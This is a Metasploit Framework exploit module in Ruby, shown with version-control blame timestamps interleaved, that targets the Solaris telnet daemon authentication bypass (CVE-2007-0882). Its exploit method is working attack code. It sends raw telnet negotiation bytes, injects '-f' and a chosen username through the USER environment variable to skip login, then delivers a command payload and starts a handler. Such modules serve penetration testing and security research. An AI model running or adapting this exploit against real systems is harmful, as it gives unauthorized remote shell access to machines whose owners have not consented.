2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2007-02-17 13:52:50 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2007-02-17 13:52:50 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2007-02-17 13:52:50 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits the argument injection vulnerabilty
|
|
|
|
in the telnet daemon (in.telnetd) of Solaris 10 and 11.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-02-17 13:52:50 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-0882' ],
|
2009-07-27 14:05:23 +00:00
|
|
|
[ 'OSVDB', '31881'],
|
2007-02-17 13:52:50 +00:00
|
|
|
[ 'BID', '22512' ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => ['unix', 'solaris'],
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2000,
|
|
|
|
'BadChars' => '',
|
|
|
|
'DisableNops' => true,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
2009-08-23 12:40:23 +00:00
|
|
|
'PayloadType' => 'cmd',
|
2009-07-21 15:20:35 +00:00
|
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
|
|
}
|
2007-02-17 13:52:50 +00:00
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Automatic', { }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Feb 12 2007',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(23),
|
|
|
|
OptString.new('USER', [ true, "The username to use", "bin" ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status('Setting USER environment variable...')
|
|
|
|
|
|
|
|
req = "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
|
|
|
|
req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
|
|
|
|
req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"
|
|
|
|
|
|
|
|
sock.put(req)
|
|
|
|
sock.get_once
|
|
|
|
|
|
|
|
req << "\xFF\xFC\x25"
|
|
|
|
|
|
|
|
sock.put(req)
|
|
|
|
sock.get_once
|
|
|
|
|
|
|
|
req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"
|
|
|
|
|
|
|
|
sock.put(req)
|
|
|
|
sock.get_once
|
|
|
|
|
|
|
|
req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"
|
|
|
|
|
|
|
|
sock.put(req)
|
|
|
|
sock.get_once
|
|
|
|
|
|
|
|
req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"
|
|
|
|
|
|
|
|
sock.put(req)
|
|
|
|
sock.get_once
|
|
|
|
|
|
|
|
req = "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
|
|
|
|
req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
|
|
|
|
req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"
|
|
|
|
|
|
|
|
sock.put(req)
|
|
|
|
sock.get_once
|
|
|
|
sleep(0.25)
|
|
|
|
|
|
|
|
sock.put(payload.encoded + "\n")
|
|
|
|
sleep(0.25)
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
2009-07-21 15:20:35 +00:00
|
|
|
end
|